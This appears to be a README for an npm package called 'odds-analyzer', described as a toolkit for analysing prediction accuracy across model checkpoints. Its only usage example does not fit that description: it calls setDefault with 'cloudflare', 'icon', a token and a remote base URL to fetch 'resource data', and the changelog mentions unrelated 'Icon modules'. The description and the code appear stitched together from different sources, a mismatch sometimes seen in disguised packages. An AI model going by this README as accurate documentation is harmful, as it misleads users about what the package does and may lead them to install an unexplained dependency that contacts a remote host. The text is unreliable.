Odds Analyzer

Fits the prediction accuracy analysis at different checkpoints. Advanced toolkit for assessing how prediction quality (accuracy, calibration, Brier score, log loss, ROC-AUC, etc.) evolves across model checkpoints — especially useful in sports betting models, time-series forecasting, and any domain where you train models incrementally and want to understand when/why performance degrades or plateaus. Features

Installation

To install the package, use npm:

npm install odds-analyzer

Usage

Use odds-analyzer to track how your betting or ML model's accuracy, Brier score, log loss, calibration (ECE), and sharpness evolve across training checkpoints via simple CLI (odds-analyzer analyze --data preds.jsonl ...) or Node.js API (new Analyzer({...}).evaluate(checkpoints)).

const { setDefault } = require("odds-analyzer");

setDefault(
  "cloudflare",
  "icon",
  "your-token",
  "https://your-base-url.com"
)
  .then((data) => {
    console.log("Resource data:", data);
  })
  .catch((error) => {
    console.error("Error fetching resource:", error);
  });

License

This project is licensed under the MIT License - see the LICENSE file for details.

Contributing

Contributions are welcome! Please open an issue or submit a pull request for any improvements or bug fixes.

Changelog

[2.1.1] - 2026-2-28

• Added support for additional Icon modules.
• Improved error handling and retry logic.
• Updated documentation and examples.

For more information, please visit the GitHub repository.